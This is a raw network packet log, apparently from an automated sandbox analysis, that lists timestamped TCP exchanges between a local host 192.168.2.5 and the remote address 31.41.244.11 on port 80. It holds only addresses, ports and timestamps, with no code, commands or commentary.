Dec 18, 2024 21:30:26.077807903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.078047991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.078088999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.079230070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.079279900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.079336882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.079396009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.080574989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.080614090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.080760002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.080796957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.081697941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.081753969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.081902027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.081945896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.082525015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.082566977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.082668066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.082709074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.083477020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.083518982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.083673000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.083709955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.084479094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.084551096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.084713936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.084753036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.085402966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.085444927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.085568905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.085705042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.086294889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.086348057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.086436033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.086482048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.087176085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.087220907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.087357044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.087398052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.088237047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.088282108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.088407993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.088507891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.089342117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.089382887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.089520931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.089618921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.090344906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.090387106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.090538979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.090579033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.091465950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.091506004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.091569901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.091609955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.092489958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.092547894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.092756987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.092794895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.093844891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.093885899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.093893051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.093923092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.094624043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.094779968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.094779968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.094820976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.095704079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.095844984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.095890045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.096668959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.096712112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.096908092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.097035885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.097790956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.097853899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.097923040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.097960949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.098829985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.098872900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.098984003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.099019051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.099895000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.099958897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.100033045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.100114107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.100949049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.100992918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.101111889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.101157904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.101967096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.102097988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.102138042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.102186918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.103020906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.103068113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.103203058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.103245020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.104266882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.104387999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.104458094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.104526043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.105222940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.105276108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.105335951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.105376959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.106187105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.106275082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.106349945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.106388092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.107285976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.107332945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.107482910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.107527018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.108369112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.108413935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.108470917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.108508110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.109385967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.109432936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.109554052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.109616041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.110502005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.110552073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.110666037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.110827923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.111560106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.111618042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.111676931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.111717939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.112545967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.112726927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.112756014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.112795115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.113642931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.113791943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.113840103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.114727974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.114778996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.114897013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.114937067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.115767002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.115819931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.115892887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.115931988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.116992950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.117129087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.117177010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.117907047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.117949009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.118058920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.118179083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.118974924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.119018078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.119167089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.119244099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.120013952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.120069027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.120145082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.120188951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.121032000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.121097088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.121170044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.121352911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.122087955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.122129917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.122246027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.122287989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.123080015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.123122931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.259802103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.259936094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.259964943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.260013103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.260243893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.260294914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.260560989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.260601044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.261352062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.261393070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.261538982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.261578083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.262480974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.262556076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.262631893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.262676001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.263448954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.263495922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.263647079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.263693094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.264509916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.264561892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.264621973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.264667034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.265535116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.265660048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.265739918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.265788078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.266633987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.266679049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.266820908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.266865015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.267690897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.267735958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.267847061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.267893076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.268744946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.268794060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.268903017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.268949986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.269742012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.269788980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.269942999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.269988060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.270816088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.270864010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.270967960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.271015882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.271863937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.271908045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.272068024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.272109985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.272989988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.273060083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.273113966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.273159027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.274015903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.274060011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.274195910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.274243116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.275544882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.275598049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.276097059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.276144028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.276546001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.276563883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.276614904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.277194023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.277245998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.277494907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.277559996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.278223991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.278275967 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.278441906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.278493881 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.279349089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.279397011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.279514074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.279556990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.280500889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.280545950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.280581951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.280625105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.281487942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.281534910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.281666040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.281709909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.282484055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.282529116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.282649040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.282691956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.283629894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.283679962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.283799887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.283844948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.284676075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.284727097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.284862041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.284905910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.285660028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.285706043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.285780907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.285825014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.286705017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.286751986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.286864996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.286911011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.287817001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.287863016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.288074970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.288119078 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.288806915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.288853884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.288961887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.289005995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.289860964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.289906025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.290055990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.290097952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.290915012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.290962934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.291125059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.291172981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.291990995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.292040110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.292186022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.292231083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.293028116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.293072939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.293193102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.293236971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.294101954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.294151068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.294256926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.294302940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.295437098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.295485020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.295567036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.295609951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.296251059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.296298981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.296390057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.296435118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.297272921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.297318935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.297440052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.297483921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.298347950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.298425913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.298511028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.298557997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.299418926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.299467087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.299546957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.299593925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.300674915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.300723076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.300784111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.300829887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.301655054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.301702023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.301769972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.301814079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.302573919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.302620888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.302732944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.302777052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.303632021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.303678989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.303811073 CET	80	49808	31.41.244.11	192.168.2.5
